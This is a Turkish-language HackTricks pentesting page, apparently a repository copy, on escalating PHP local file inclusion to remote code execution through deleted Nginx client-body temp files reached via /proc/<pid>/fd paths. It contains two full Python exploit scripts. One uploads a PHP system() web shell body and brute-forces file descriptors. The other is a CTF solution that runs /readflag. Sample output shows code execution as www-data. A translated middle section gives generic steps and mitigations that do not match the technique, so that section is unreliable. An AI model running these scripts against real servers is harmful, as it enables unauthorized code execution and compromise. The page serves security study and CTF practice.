hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
2024-02-10 18:14:16 +00:00

13 KiB
Raw Blame History

Nginx geçici dosyaları aracılığıyla LFI2RCE

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Zayıf yapılandırma

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ adresinden örnek

  • PHP kodu:
<?php include_once($_GET['file']);
  • FPM / PHP yapılandırması:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Kurulum / sıkılaştırma:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Neyse ki PHP şu anda genellikle PHP-FPM ve Nginx üzerinde dağıtılıyor. Nginx, istemci gövdesi (post ile sınırlı olmayan) belirli bir eşiği aşarsa geçici dosyalar yazacak olan istemci gövdesi tamponlama özelliği sunar.

Bu özellik, Nginx'in aynı kullanıcı olarak çalıştığı durumlarda (genellikle www-data olarak yapılır) dosya oluşturma için başka bir yol olmadan LFI'ların istismar edilmesine izin verir.

İlgili Nginx kodu:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t  fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

Görülebilir ki, Nginx tarafından açıldıktan hemen sonra tempfile hemen silinir. Neyse ki, silinen dosyaya hala bir referans elde etmek için procfs kullanılabilir. Bunun için bir yarışma yapılabilir:

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Not: Bu örnekte /proc/34/fd/15 doğrudan dahil edilemez çünkü PHP'nin include fonksiyonu yolunu /var/lib/nginx/body/0000001368 (silinmiş) olarak çözümleyecektir ve bu dosya sistemde mevcut değildir. Neyse ki, bu küçük kısıtlama /proc/self/fd/34/../../../34/fd/15 gibi bazı dolaylı yollarla atlatılabilir ve sonunda silinmiş /var/lib/nginx/body/0000001368 dosyasının içeriği çalıştırılabilir.

Tam Saldırı

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r  = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r  = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r  = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

Nginx Geçici Dosyaları Aracılığıyla LFI'den RCE'ye

Bu teknik, Nginx web sunucusunun geçici dosyalarının kullanılmasıyla LFI (Yerel Dosya Ekleme) saldırısından RCE'ye (Uzaktan Kod Yürütme) geçiş yapmayı amaçlamaktadır.

Adım 1: Geçici Dosya Yolu Tespiti

İlk adım, hedef web uygulamasının Nginx sunucusunun geçici dosyalarının nerede depolandığını tespit etmektir. Bu bilgiyi elde etmek için aşağıdaki adımları izleyebilirsiniz:

  1. Hedef web uygulamasına erişin.
  2. Bir dosya yükleme işlemi gerçekleştirin.
  3. Yükleme işlemi sırasında Nginx sunucusunun geçici dosyalarının depolandığı dizinin yolunu kontrol edin.

Adım 2: Geçici Dosya Yolu İstismarı

Geçici dosya yolunu tespit ettikten sonra, LFI saldırısını gerçekleştirmek için bu yolun istismar edilmesi gerekmektedir. Aşağıdaki adımları izleyerek RCE elde edebilirsiniz:

  1. Hedef web uygulamasında LFI açığı bulun.
  2. LFI açığını kullanarak Nginx sunucusunun geçici dosyalarının içeriğini okuyun.
  3. Geçici dosyalar arasında potansiyel olarak yürütülebilir bir dosya bulun.
  4. Bu dosyayı hedef web uygulamasında yürütmek için LFI açığını kullanın.

Önleme Yöntemleri

Bu saldırıyı önlemek için aşağıdaki önlemleri alabilirsiniz:

  • Web uygulamanızda LFI açıklarını düzeltin ve güncelleyin.
  • Nginx sunucusunun geçici dosyalarının güvenli bir şekilde depolandığı bir dizin kullanın.
  • Geçici dosyaları düzenli olarak temizleyin ve gereksiz dosyaları silin.

Bu teknik, LFI saldırılarının RCE'ye dönüştürülmesi için kullanılan etkili bir yöntemdir. Ancak, yasal ve etik sınırlar içinde kullanılmalıdır.

$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Başka Bir Sızma Yöntemi

Bu, https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/ adresinden alınmıştır.

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Lablar

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları: